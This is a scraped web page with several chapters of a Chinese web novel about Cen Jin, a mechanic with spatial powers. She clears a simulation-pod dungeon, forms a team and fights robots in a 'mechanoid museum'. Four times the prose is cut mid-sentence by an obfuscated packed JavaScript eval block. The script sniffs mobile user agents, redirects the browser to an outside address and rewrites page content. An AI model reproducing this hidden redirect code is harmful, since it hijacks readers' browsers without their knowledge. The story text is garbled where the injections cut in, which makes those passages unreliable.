「恭喜你完成了本次副本的支线任务!树屋里的手术室、神秘的小房间,层层叠叠的手术者档,隐藏在黑暗深处的银色芯片……命运的丝线交织,究竟谁才是主宰凤凰村的意志?相信你的心中已经有了答案。」 【任务奖励:村医的眼镜】 「镜片的反光,总是让人看不清村医的神色。戴上这副眼镜,由于镜片的反光过于强烈,任何与你对视的生物都会感到一阵眩晕,持续时长10s-30s不等。」 原来支线任务的惊喜掉落是功能道具,虽然“村医的眼镜”听起来没有很厉害,但岑今还是认认真真读完了功能说明,她向来珍惜每一项资源。 “刚刚太惊险了!就差一点点,我差点以为岑今老师要拿不到芯片,直接被关进棺材里了!”路阳不知道什么时候已经变回了人形,从岑今身后冒了出来。 姜月月也走了过来,没了青山的控制,改造人大军就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岑今深以为然,点点头道:“大家都辛苦了。” 幸好他们这边顺利通关了主线,没有让蒋琳和陈小明的努力白费,如果没出什么意外的话,他们此时应该已经平安返回现实世界了。 岑今愈发觉得,模拟舱副本是一场团队游戏。 副本中会有各种各样的危机出现,而很少有人的异能足以应对所有的困境。主播之间互相配合,建立一支兼备不同类型异能的团队,也许在应对副本时会更加从容。 比如前一天下午在母神殿的时候,队里如果有火系异能者,那压根没必要买道具商店里那高额溢价的点火枪。 “对了,胡家明呢?”她差点忘了,他们的首发团队里还有一个铁脑袋。 “噢,我走的时候他好像晕过去了,醒过来的话应该会自己退出副本的吧。” 岑今最后看了一眼青山跌坐在地上的背影,他一动不动地垂着头,腰间银带在草地上散开,像是一朵将要枯萎的金属鲜花。 这一幕,似乎就是她第一次触摸模拟舱时,眼前掠过的最后一个画面。 母神殿外,漫长的黑夜已经过去,天光破晓,晨色熹微。 算起来进入副本也就一天的时间,可她此刻迈出大殿的门槛,却有一种晕晕乎乎的恍若隔世之感——也许是熬夜熬的吧。 “我们也退出吧,模拟舱外见。”她回头对二人说道。 姜月月瞥了一眼殿外的天色:“八个小时之后再见,我要补觉。” 路阳:“岑今老师最忠实的使徒听令!” 话音落下,三人的身躯消散在空气中。喧嚣褪去,凤凰村又一次陷入沉睡。 19.休息日 岑今睁开眼,发现模拟舱已经自动打开了。 她正想起身,一连串弹窗蹦了出来: 【恭喜通关副本「母神的赐福」】 【结算打赏值:22088】 【奖励打赏值:5000】 【累积打赏值:27088】 【当前打赏值可兑换为13,500新币,是否兑换?】 原来打赏值在副本内换的是道具,在副本外换的是钱。岑今点了“是”。 【工资50,000新币,已到账】 【打赏值兑换13,500新币,已到账】 光脑响起一阵钱币落袋的提示音,岑今点开账户,空荡荡的数字在飞速上涨。 很好,她现在也是日薪六万的高薪人士了。 再干上几场,就能还清赔偿款,说不定还能攒下钱买最新款的智能零件给阿莱折腾,那小姑娘肯定很高兴。 【副本完成度计算中……】 【副本完成度:100%】 【奖励特殊道具:雷神之锤】 「一把装有电击器的可伸缩大锤,最高电压可达5000伏,仅限副本内使用。」 岑今猛地坐了起来——这不就是前两天她教阿莱做的那把锤子吗?为什么副本的奖励道具会和阿莱有关? 英菲尼迪发给他们的光脑有通讯功能,在地下也有信号,她当即给阿莱拨了个视频。 “岑姐!!你去哪里了!说好的晚点来帮我检查大锤呢?”阿莱接通的很快,气鼓鼓的小脸出现在半空中,不知道又上哪里蹭的脏兮兮的。 阿莱身后的背景是岑今帮她买下的垃圾场边的家,屏幕里的阿莱也是她熟悉的活蹦乱跳、皮糙肉厚的模样。 看起来一切如常。 她悬着的心落了一半,笑着开始哄小孩:“姐姐在给你打猎呢。过段时间回来带你吃香的喝辣的,还给你升级新装备,好不好?” “我懂了,岑姐又在干一票大的了!阿莱会保密的!”说完,她还一脸严肃地敬了个礼。 以前岑今突然消失,多半是忽然有了新的创意。她会闭关一段时间,直到做出自己满意的新物件,比如用电蚊拍改装的高压电陷阱网,比如增加了智能寻物功能的机械狗,等等。 她做的这些稀奇古怪的玩意儿,有时候能在黑市上遇到感兴趣的买家。这样,她就能换回一笔可观的报酬,然后告诉阿莱自己又去干了票大的。 不过这次这一“票”可能比阿莱想象的还要大得多,她赌的不是她的小发明,而是她自己。 “这两天都干什么了呀?没有什么不认识的人来找过你吧?” “我又去垃圾场捡了点零件,然后就是在家修锤子,没有人找我麻烦,那群混混也没来!”阿莱像条摇着尾巴的小狗,兴冲冲地给岑今汇报。 岑今还是轻松的语气:“等你升级完装备,姐姐带你去给那几个臭小子找点麻烦!” 又简单叮嘱了几句之后,岑今挂断视频,收回了笑脸。 “雷神之锤”不可能只是巧合,但她不想让阿莱担心,也不想让她每天都活在提心吊胆之中。 看来得抓紧时间多进几次副本了,她不仅要早点还完钱赎身,还要尽快摸清这个模拟舱系统的底细。 岑今翻出模拟舱,身上还残留着舱里那股黏腻潮湿的感觉,但副本里留下的伤口倒是消失了,高强度运动一晚上的肌肉也没有酸痛。 她捋了捋出来之后待办的事项: 第一,联系阿莱,已完成。 第二,她在副本里做到了远程操纵空间破坏零件、开锁,还搓出了可以传送芯片的微型隧洞,这显然不是她原本的D级「空间壳」能做到的。 或许这就是入职检测时说的“异能出现成长倾向“?她需要找艾琳确认自己目前的异能情况,顺便确认模拟舱副本是否支持组队参与。 第三,如果副本存在组队机制,她还要去拜访几位她心仪的队友人选,建立自己的团队,然后迅速进入下一个副本。 思路很清晰,方向很明确。不过在开始行动之前,她要先舒舒服服地洗一个热水澡。 一个小时后,也就是8月23日的下午15点整,岑今出现在了员工入职处的门口。 艾琳还是和两天前一样的造型,埋头在显示屏后工作。 “下午好,艾琳姐。现在有空吗?”岑今往里走去,开门见山道,“我想你可能需要重新检测一遍我的异能。” 女人推了推金丝边眼镜,从显示屏后探出头:“可以有空,不过我不是艾琳。” 岑今:“?” “你是晚上入职的吧?”她笑着眨了眨眼,神态也几乎和艾琳一模一样,“我们是三胞胎姐妹,艾琳值晚班。我叫贝拉,我值下午场,还有凯西是负责上午场。” “你们的能力不会也是一模一样的吧?”岑今尝试找不同,以失败告终。她都要怀疑自己脸盲了。 “是的哦。”贝拉的手已经扶上了眼镜,“你要做异能检测,对吧?” 长得一模一样,异能也一模一样——什么三胞胎,这分明就是人造人,别欺负她是从北岸来的不懂高科技。 不过,英菲尼迪居然能生产自带异能的人造人,这还是有点太超前了。 “对,在过副本的时候,我的异能发生了一点变化。” 贝拉了然地点点头,然后摘下了眼镜。在熟悉的冰蓝色漩涡里,贝拉的声音响起: “姓名:岑今。” “性别:女。” “年龄:24岁。” “异能:空间操纵。” “评级:B级,高潜。” “确认为成长型异能,符合优质实验者条件,建议进一步观测。” 第二次被“看穿”,岑今依然无法习惯这种感觉。不过,这一次更让她在意的是测定结果。 “高潜?成长型异能?” “没错,恭喜你!”贝拉掸了掸衣角,重新戴上眼镜向她解释,“高潜就是很有潜力,公司很看好你的意思啦。” “公司这段时间的研究确认了,一部分异能者的异能其实是可以不断进阶的,你就是这些幸运儿之一!” 贝拉转头看了一眼屏幕:“你入职的时候登记的异能是D级的空间壳,那应该只是你异能的幼年态。” “这里还标了个星号——”贝拉凑近屏幕,推了推眼镜,“你是不是因为异能犯事儿了?” ……这居然也被登记在册了,岑今默默望天。 “这是正常的啦,异能成长的先兆就是异能突发暴动,不受控制。” 看来这就是深蓝当时那个问题的答案——“你想知道你的异能为什么会失控吗?” 因为她幸运地拥有了成长型异能,当时突然冒出来的那两个传送隧洞,就是她潜藏的空间操纵能力迫不及待地冒了头,露出了马脚。 岑今走出办公室,耳边还回荡着贝拉最后对她说的那句话:“多多参加模拟舱体验吧!你的异能可不止B级噢~” 岑今一直觉得自己就是这个世界里平平无奇的一个npc,出生在破败肮脏的北岸,不知道父母是谁,从小在垃圾场长大,就算是偶然觉醒了异能,也只是一个无用的D级,除了捣鼓机械的小爱好,似乎并没有其它可说之处。 但现在告诉她,她拥有的是少见的成长型异能,还被联邦第一科技公司视为高潜员工?——有种学渣做白日梦,摇身一变成学霸的感觉。 这么大馅饼砸在她头上,也不知道是不是好事。 岑今脑海里的小人打着架, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265242|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚下倒是一点没耽误,已经停在了B115的门口,也就是路阳的休息屋门前。 “呼叫路阳!”她直截了当地拍响了房门。 房门向内打开,路阳睡眼惺忪的娃娃脸从门后露了出来。 “老师你都不用补觉的吗?” “我攒着晚上一起睡。说正事,”岑今清清喉咙,“下个副本要不要组队一起进?我去问了hr,模拟舱副本支持组队进入。” 路阳睁大了眼睛,这下清醒了:“真的吗?怎么组队?” “用公司发的光脑加好友,然后我拉你入队,到时候一起联机登入模拟舱就可以了。” 路阳二话不说掏出了光脑。 【您已添加联系人「B124岑今」】 【您已进入队伍「咱们工人有力量」】 “欢迎路阳同志加入队伍!”岑今和他差不多高,毫不费力地拍了拍他的肩膀,“我打算后天进下一个副本,如何?” “啊,只休息两天也——”路阳本想抗议,但最终还是在岑今殷切的目光中选择了妥协,“ 也不是不行。” “高薪,又有双休,多好。现在这行情,多少人007也赚不到钱。” 路阳一想,倒也确实是这么个道理。在这儿奋斗几天,还有什么黑科技智能手办拿不下?拼了! 岑今成功收获第一位队友,又马不停蹄向下一位走去。 B120门口。 她看了看时间,17点出头。 “起床啦,姜月月同学!”从出副本到现在,差不多也有八个小时了,四舍五入已经满足未成年人所需睡眠时间标准。 姜月月很快打开了门,两根麻花辫梳得整整齐齐,正好遮住眉毛的齐刘海一丝不乱。 “说吧。”她抱起手臂仰头盯着岑今,似乎早就料到了她要说什么。 岑今向她伸出手:“愿意和我一起组队进入下一个副本吗?” 姜月月没有犹豫,伸手拍在了岑今的手掌上,然后把手掌握成了一个拳头。 岑今也捏起拳头,和她在空中轻巧地一碰。 【您已添加联系人「B124岑今」】 【您已进入队伍「咱们工人有力量」】 看到系统通知,姜月月突然有点后悔了。 “……就不能换个队名吗?” “多响亮的名字!”岑今嬉皮笑脸,并不打算改,“我计划后天进本,可以吗?” 她还在担心这个强度对未成年人来说会不会过大,姜月月就已经干脆地点了头:“可以。” 对姜月月来说,通关模拟舱副本赚钱,比在现实世界中赚钱容易多了。 她早就习惯了危机四伏的生活。她不需要休息,她需要很多很多的钱,让自己活下去,也让自己活得更好。 岑今往她手里塞了一颗用玻璃纸包裹着的水果糖,又走向下一个目标。 B121,蒋琳的房间。 她不是来找蒋琳组队的。蒋琳和陈小明都是很好的人,但在上个副本里,蒋琳和陈小明的关系过分密切了。在鱼龙混杂的北岸垃圾场摸爬滚打多年的社会经验告诉她,这样的组合不并是好的队友人选。 “蒋琳姐,之前在副本里真的太谢谢你了。”如果不是蒋琳自断双腿,坚持留在树屋找到芯片,他们恐怕很难全须全尾地顺利通关。 蒋琳摆摆手:“都是为了通关,你也付出很多。” 她的气色看起来还不错,肢体也没有受伤的迹象。岑今放下了心,问出她敲开B121的真正目的:“蒋琳姐,你出来之后,见到胡家明了吗?” 蒋琳的脸色沉了下来,她的声音不高,说出的话却如同重磅炸弹:“没有人见过他。” “我敲了他的房门,也没有任何回应。” 20.智械博物馆(一) 胡家明去哪儿了? 没有人见到他退出副本,也没有人在基地碰见过他。 岑今并不在乎作为一个个体的胡家明是死是活,但他除了是一个讨人厌的中年男人之外,也是一名异能主播。 作为异能主播的他是死是活,这个问题就很关键了。 如果他还活着,那他为什么一直没有出现? 如果他已经死了,那是否意味着虽然模拟舱副本中的损伤不会带进现实,但副本中的死亡却是真实发生的? 通关了一轮副本,岑今肚子里的疑问没有减少,反而增多了。 基地的地下三层是供异能主播锻炼、娱乐和社交的活动中心,最中央是一个相当典型的标准操场,四周有不同功能的房间,还有训练器材。 岑今临时抱佛脚地给自己安排上了体能训练,参照军校生的日常训练标准,泡在活动中心度过了强度拉满的两天。 两天后,也就是8月25日的上午10点,模拟舱再一次开放。 岑今拖着变酸痛了但也变强了的身体,和姜月月还有路阳一起登入了模拟舱。 模拟舱合拢的那一刻,她闭上眼,“看”到了一段有些朦胧的画面:一群穿着各异的机器人簇拥着一个人类,他们身后的大屏上是层叠如山的代码,光标停在最后一个字符后,安静地闪动。 一,二,三—— 岑今在心中默数到第三秒,画面扭曲消散,典雅的乐声在耳边响起。 她闻声睁开眼,一张巨大的白色面具赫然出现在视野中。 她有些猝不及防,身体下意识就想往后撤,却发现自己的后腰被铁箍般的手臂死死地锢着,退后不了一点。 岑今回过神来,眼神重新对焦——原来眼前的白色物体不是面具,而是一张属于机器人的原生脸,金属接缝从太阳穴连接到下颌,陶瓷质感的冷白皮肤下隐隐透出电路的脉络。 它的眼窝很深,正中央不偏不倚地悬浮着双环蓝光。 岑今的目光继续向下,发现机器人穿着一条流光溢彩的鱼尾礼裙——或许不该用“它”来指代,而应是“她”——她一手揽着岑今的腰,另一手牵着她的手,正踩着音乐的节拍翩翩起舞。 系统通知的光幕适时地跳了出来: 【副本开启:智械博物馆】 「欢迎来到本年度最热门的私人博物馆——这里收藏着上百具功能各异的最新款智械生命体!欢迎来到本年度最神秘的都市传说发源地——每个圆月高悬的夜晚,盛大的舞会落幕,本该陷入沉睡的博物馆都会悄然苏醒,吞噬每一位流落在黑暗中的观光客。当圆舞曲奏罢,这个月圆夜,又将上演怎样的故事?」 岑今迅速地过了一遍副本导语,也就是这个副本的背景介绍,对眼下的状况大致有了数: 第一,她正处在一座私人博物馆中,馆藏是智械生命体,现在和她跳舞的这位显然是其中之一; 第二,今天是月圆夜,舞会结束后的夜晚,博物馆中或许潜藏着某种危险,主线任务应该就会在跳完舞之后开启。 她的机器人舞伴很擅长引导,她从没学过跳舞,也能轻松跟上舞伴的步伐。 趁着这个机会,岑今仔细观察了一番四周。 她现在所在的位置是一层进门正对的大厅,大厅采用的是挑高的造型,六七米高的天花板上悬挂着一顶相当复古的旋转水晶吊灯,玻璃纸般的光影在大理石地面上流淌。 四周起码有几十对智械在旋转跳跃,他们身穿的礼服各有特色,没有一件同款,舞蹈的质感也各有各的风格,除了未经修饰、整齐划一的瓷白色脸庞,几乎与真人无异。 当然,岑今还在大量的智械中发现了少量的主播。 她与同样正和智械舞伴跳舞的姜月月、路阳对上了视线,又继续在大厅中搜寻,场地内的人类还有三位,一个貌似很会跳舞的高个子年轻男人,一个看起来像大学生的女孩子,还有一个戴眼镜的中年女人。 和上个副本一样,一共六位主播,看来这是模拟舱副本的标准配置。 场地内六人站得很分散,但大家都老老实实地陪智械跳圆舞曲走剧情,没有人轻举妄动。 岑今收回了视线,扬起一个礼貌的微笑,尝试和自己的舞伴对话。 “这位小姐,你的舞跳得真好。你是舞者智能体吗?” 舞伴眼窝里的蓝色光环开始旋转,她的面部肌理向上提升,似乎也露出了一个微笑:“不是,我——” 当——当——当—— 悠扬的钟声在馆内高调地回荡,淹没了舞伴的回答。乐声减弱,智械们也渐渐停下了舞步。 钟声响过九下,大厅里的落地灯骤然熄灭,几颗射灯啪地转向,灯光汇聚在二楼连廊正中的位置。 九点整,圆舞曲奏罢,盛大的舞会落幕。 灯光下缓缓走来一个男人,穿着一身考究的深灰色西装,居高临下地张开双臂: “晚上好,我亲爱的各位贵宾!舞会已经结束,今日的参观也告一段落。请诸位移步博物馆二楼,回到各自的房间休息。希望大家能够在智械博物馆,度过一个宁静、美好的夜晚。” 看来这就是这座私人博物馆的馆长,或者说智械收藏家本人了。 一楼大厅,六位主播都在仰头打量他,剩下的智械却整齐划一地屈膝颔首,表现出万分的顺从与恭敬。 男人垂眼环视一圈,满意地拍了拍手。 智械们纷纷掉转方向,从大厅散去,安静地走向四周不同的展馆——那是它们本来的位置,也是它们的“家”。 岑今的舞伴最后看了她一眼,提起裙摆与她擦肩而过。 在鱼尾裙荡开的红色裙角轻轻扫过她裤腿的那一刻,一句低语在她耳边响起:“今天晚上,不要离开房间。” 岑今惊讶地回头,舞伴已经快步走远了。她看着她的身影没入黑洞洞的展厅,旁边墙面上悬浮着五个大字:服务机器人。 一楼大厅刚一散会,路阳就急急忙忙往岑今这边过来了,这会儿刚拨开密集的智械群走到岑今身边,兴高采烈地开始倒豆子。 “岑今老师好久不见啊!这次一进到副本就能见到熟悉的你还有姜老师,我瞬间就不紧张了!我和你说,我对面那个智械是个哥们儿,看起来五大三粗的体格特别健壮,在这种奢靡上流的地方跳舞实在是太违和了!” “我还跟他说:‘老师,如果你是被迫的,你就眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277003|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼。’”路阳眉飞色舞,越说嗓门越大,“但老师你发现了吗?智械没有眼皮,他根本没法眨眼啊!” 姜月月站在这听了一会儿,脸上的无语显而易见地增加了。 那个看起来像大学生的年轻女生路过他们仨身边,好奇地多看了两眼。 岑今礼貌听完,略微有些敷衍地给路阳比了两个大拇指,然后把手掌摊开放在空中:“好了,首先来庆祝一下「咱们工人有力量」小分队不费吹灰之力在副本中胜利会师!” “好幼稚。”姜月月嘴上嫌弃,但还是迅速地把手叠了上去。 最后是路阳,他把两人的手往下一按:“顺利通关!” “我们也上楼吧,顺便去和另外三位主播认识一下。”岑今转身快步向楼梯走去,那三人在他们前面,高个子青年走得最快,已经站在了旋转楼梯上。 岑今打开直播界面,这次副本刚一开始,弹幕就很热闹: 【主播真劳模!这么快又进副本了】 【别管了,咱们工人就是使不完的牛劲】 【怎么这就组队了?这三个人怎么认识的?】 【我是老粉我来回答,他们仨上个副本认识的】 【求主播连播不要停,喜欢看主播在副本里搞拆迁】 【放过筑波吧,工人也是人】 【这个副本感觉很有意思诶,博物馆奇妙夜?】 【盲猜一个智械危机+博物馆奇妙夜】 岑今跟观众们打了个招呼:“工友们好久不见!就让我来给大家介绍参与这次副本的主播吧~” 她要努力营业,打赏值换新币还是有点太香了。 说完,她脚下正好追上前面三人。 “各位先别急着回房间休息,趁现在主线剧情还没开始,我们先互相认识一下吧!” 她带动各位主播自我介绍,怎么不算是她给观众介绍主播。 离她最近的是之前那个女生,她笑眯眯地第一个开口:“大家好呀,我叫林思妍,今年23岁,现在还在南湾大学念书,学的是生物医学专业。这是我第一次进入模拟舱副本,还请大家多多包容哦~” 南湾大学是南湾市综合排名第一的高等学府,学费也很昂贵。能在这里念书的人,不仅成绩好,财力也很雄厚。 林思妍能在这样的地方上学,学的专业也挺有前途,怎么就来做异能主播了呢? “对了,需要介绍我的异能吗?”她继续问道。 不愧是高素质大学生,她人还怪好的。岑今顺水推舟:“如果你不介意的话。” “我的异能是【缝合医生】,包治外伤,受伤了要快点来找我哦。”她眨了眨眼睛。 治疗系的异能!岑今两眼放光,把拉拢林思妍成为她的第三个队友这件事排上了日程。 “你们好,我叫孟晚。”下一个开口的是那个戴眼镜的中年女人,她的嘴唇抿成一条直线,语气淡淡的,“我不年轻了,异能是【洞察】。” 她给人一种教导主任的感觉,脸上没什么表情,却自带强大的压迫感。 岑今眼巴巴地看着她,孟晚却没有要继续介绍的意思,她只好把目光转向停在几级楼梯之上的那个高个子青年。 21.智械博物馆(二) 他一头利落的深褐色短发,皮肤很白,甚至可以说是有点苍白。深邃的眉眼、高挺的鼻梁,还有薄薄的唇,在苍白底色的映衬下显得格外鲜明。 “轮到我了吗?”他迎上岑今的目光,“我叫谈闻,24岁。” 岑今点点头,眼里满是鼓励,希望他再多说两句,多透露点个人信息,特别是和异能相关的那种。 谈闻勾起嘴角,说出的话正中岑今下怀:“我的异能被称为【赌徒】,运气好的时候,效果是随机异能增幅。” 随机增幅?这个异能听起来也挺不错啊! “运气不好的时候,那就不一定了。”他依然直勾勾地盯着岑今,说完还摊了摊手。 “你展开说说呢?”岑今的心情跟着他的两句话,一起又一落。 谈闻没有展开说,但他展开了手掌,掌心里浮起一个金色的六面骰,各个面上的数值分别是1、2、3、4、-2、-3。 几人的目光汇聚在他手心,他转了转骰子,然后把手一收:“到时候你们就知道了。” 陌生人三人组自我介绍完毕,岑今起了个头,工人小队三人组也简单介绍了各自的姓名、年龄,还有异能。 在华丽的旋转楼梯上完成了相互认识这个环节,一行六人在二楼分别,分头去寻找各自的房间。 岑今的房间在西边走廊的尽头,门口电子屏上写了她的名字。 她推门进去,第一句话就是慰问观众:“怎么样,工友们现在认识这次副本的各位主播了吧?” 【林思妍、孟晚、谈闻、姜月月、路阳、岑今】 【搁这儿报菜名呢?】 【修理工人爆改副本主持人!】 【节目设计很贴心,还有mc自我介绍环节,好评】 岑今的目光迅速扫过弹幕,落在了打赏值上:1123。 主线任务还没开始,打赏值就已经破千,进度喜人。 她反手带上门,就在门锁咔哒合上的那一瞬间,系统专属光幕在她眼前展开: 【主线任务:让博物馆重回宁静】 【完成进度:0%】 「沉睡的博物馆因何苏醒?这座镀金的殿堂,又盛放着谁的欲望?就让应当沉眠者沉眠,让渴望清醒者清醒。在下一个黎明到来之前,一切都还来得及。」 这可真是说主线任务,主线任务到。 不过。这次的任务和上一个副本里的任务不同了,不是划分好任务阶段的“主线任务一”,而是笼统的“主线任务”。 “系统颁布主线任务了,我们需要‘让博物馆重回宁静’。”岑今一边和观众分享,一边默默思索。 有了新副本的参照,上一个副本的任务流程就如同是新手教程,区分出了任务一、任务二,引导他们一步步解锁新剧情。 但在这个副本里,只有一句笼统的“让博物馆重回宁静”,接下来需要做什么完全是由他们自己决定。没有了任务的限定,主播们的行动是更自由了,但探索副本的难度也相应提升了。 要想让博物馆重回宁静,首先肯定要弄明白“博物馆因何苏醒”。 岑今想起她的智械舞伴临走前给她留下的那句话——“今天晚上,不要离开房间”。 之前在楼下的时候有些匆忙,没来得及和姜月月还有路阳分享这个信息。不过组队之后,他们在光脑里有了一个小队群聊,可以在线上进行交流,比之前方便了不少。 【咱们工人有力量(3)】 【岑今】:你们的智械舞伴有给你们提供什么信息吗? 【路阳】:舞伴老师一句话都没和我说,我都怀疑他没有说话的功能QAQ 【姜月月】:没有。 【岑今】:我的舞伴临走前让我今晚不要离开房间 【姜月月】:那怎么行。 【岑今】:你说得对。 【岑今】:但大家出门之后都小心一点,提高警惕,小心挨打 【路阳】:哇哦!又是一个激动人心的夜晚呢! 【岑今】:一会儿楼梯口集合。 岑今在房间里转了一圈,没发现什么异常。系统的道具商店暂时也没有商品上架,她能做的准备都已经做了,是时候出门了。 打开房门,门外的灯光都熄灭了。博物馆二楼是一个个房间,她所在的西侧走廊上没有一扇窗,黑得像是关机后的电脑屏幕,一片沉沉的死寂。 岑今凭着记忆向楼梯口走过去。连接一、二楼的楼梯在博物馆的东南角,她拐过一个弯,走上南侧走廊之后,渐渐有一楼的微光映上来。 楼梯口模模糊糊现出五个高矮不同的身影,没想到各位主播都到的比她早。 姜月月:“怎么才来。” 路阳:“好多人啊!” 谈闻:“好巧,大家都是夜猫子。” 孟晚:“……” 剩下的林思妍站得离楼梯口最近,她摸了摸手臂,幽幽地说:“我感觉背后凉飕飕的呢。” 话音刚落,楼梯拐角处出现了一个细长的人形,他走路很轻,双脚落在地上几乎没发出一点声音。 在他之后,是一个又一个细长人形,他们一人一级台阶,列队整齐地向岑今几人走来。 本该在展馆里沉睡的智械,醒来了。 岑今把林思妍往后拉了拉,自己站着没动,手上做好了隔空拆卸机器人的准备。 “你们,为什么不在房间里好好睡觉?”一共有六个智械,他们停在几位主播面前一字排开,把楼梯口彻底堵死了。 林思妍顺势扒住岑今的胳膊:“哎呀,我有点害怕。” 智械又整齐划一地向前迈了一步,距离站在最前面的岑今和姜月月,只有一步的距离。 “你们,为什么不在房间里好好睡觉!”他们压着声音,音调不高但恶狠狠地问了第二遍。 “他们是人形光脑。”角落里的孟晚突然出声,“配置有攻击模块,各位小心。”说完,她又往后退了两步。 岑今讶异地瞥了她一眼——这就是孟晚的异能【洞察】吗?怎么和英菲尼迪那hr三姐妹的异能这么像? 智械似乎更生气了,提着拳头向这几个“不听话的客人”冲了过去。 岑今闪身让过,抬起右手虚虚一拧,智械一号的中指“咔”的一声轻响,软软地垂了下去。但智械没有痛觉,被岑今卸了一根手指,他就像是毫无所觉一样,捏着只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287860|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩四根手指的拳头继续向岑今追过去。 楼梯口并不宽敞,主播加上智械一共十二个人在这一方小小的空间里腾挪,实在是有些捉襟见肘。 岑今又一次避开智械一号穷追不舍的拳头,后背却不偏不倚地撞在了姜月月的身上。她避无可避,双臂交叉格挡,右臂结结实实地挨了智械一拳,肿起来一片。 姜月月被撞得一个踉跄,她最拿手的蛇毒对智械无效,只能把脚下步伐提速到极致,硬着头皮和智械肉搏。智械二号、三号见她重心不稳,默契地夹击,彻底堵死她的退路。姜月月肩头又添了两道新伤,痛得她直皱眉。 智械一号乘胜追击向前一扑,岑今手上一顿点击,终于成功从系统背包里唤出【雷神之锤】。锤子从头到尾有将近半人高,拿在手里很有份量。 岑今按下电击键,锤头处一个蓝色的半圆形凸起滋滋冒电。她咬牙把手里的大锤往前一送,锤头携带着5000V的高压电直直顶上智械一号的左胸口。 根据她的经验,人形机器人的电池组,一般就安装在左胸的位置。 蓝紫色的电弧突然炸开,胸口的夹克被熔出一个焦洞,电流从智械一号的胸口窜向躯干。金属关节“噼啪”爆出几粒火星,照亮了他的夹克布料上蔓延的焦黑色痕迹。 智械一号僵直地抖了两下,双眼的蓝色圆环急促地闪烁了几个来回,随后彻底熄灭。伴随着一阵浓郁的焦糊味儿,他的整个身体轰然砸倒在大理石地面上,几缕白烟从散热孔里缓缓飘了出来。 “这是一点绝缘涂层都没做啊……“岑今喘了口气,放下锤子喃喃道。 她没想把智械一号直接报废的,她还想着有机会能把这几个智械拆了找找线索呢。现在好了,闻这呛人的焦味,估计这只智械内部的线路和元件都烧毁了大半,她一没工具二没材料,一时半会儿恐怕是不可能修好的。 看来在这个场景下,【雷神之锤】不宜乱用。 “路阳,你找机会下楼!”岑今头疼地收起锤子,一边呼唤大概是已经躲好了的路阳,一边偏头避开了智械四号袭来的铁拳。 “好的岑今老师!”路阳的声音从脚底下传来,岑今低头一看,原来他变成了几根荆棘匍匐在地上,还成功地绊了智械好几脚。 路阳略一思索,变成了一片树叶:“岑今老师!你把我扔到一楼去!” 岑今蹲下身捡起路阳就地一滚,扑到了走廊的栏杆上。 “你不会有事吧?”她捏着叶片版路阳的手已经伸到了半空中。 路阳声音有些发抖:“放心吧老师!虽然我恐高但是你不用在乎的——额啊啊啊!” 岑今大力一挥,叶片在半空中飞舞,簌簌发抖又晃晃悠悠地下落。 她一脚踹开粘上了她的智械四号,扒着栏杆眯眼向下望去——叶片应该是如她所愿地落在一楼大厅的正中,一个很适合全方位观察一楼环境的位置。希望路阳没事。 她还没来得及转头,忽然听到身后嘈杂的打斗声中,似乎混入了一声极轻的脚步声。她的心跳骤然加速,电光火石间,脑海中闪过了无数种应对的方式。 岑今回身,反手握住身后的栏杆起跳,双腿向前一蹬——没蹬动。 22.智械博物馆(三) 岑今疑惑地上下扫视,从身着休闲款牛仔外套来判断,她踢中的就是阴魂不散的智械四号。但四号不重啊!她怎么就没蹬动呢? 四号的喉咙里发出“咔——咔——”几个不成词的音节,眼中的蓝环圆环像是坏了一样疯狂闪动。 岑今的眼角晃过一点寒芒,她低头看去,智械四号的左胸口处冒出了一把菜刀一样宽的手术刀。 手术刀尖尖歪了歪,似乎是用力想要转动。 “等等!”岑今连忙出声喊停,“别把里面的零件转烂了!一会儿还要拆机!” “嗤”的一声,手术刀被抽了出去,几根起皮的电线翻在智械四号的伤口边沿。 一只纤细的手在四号的肩膀上轻轻一推,四号怦然坠地。 “我还没捅过瘾呢。”是林思妍。她捏着比自己手臂还宽的手术刀走上前来,声音听起来还怪委屈的。 “?”岑今货真价实地冒出一个问号,“姐姐,你的异能不是医生吗?” 借着月光,岑今看见林思妍从衣服口袋里拿出了一板药片,掰了两片熟练地生吞了下去。 她微微一笑:“手术刀可以用来救人,也可以用来杀人哦。” 姜月月咬牙切齿的声音从一旁传来:“别聊天了!” 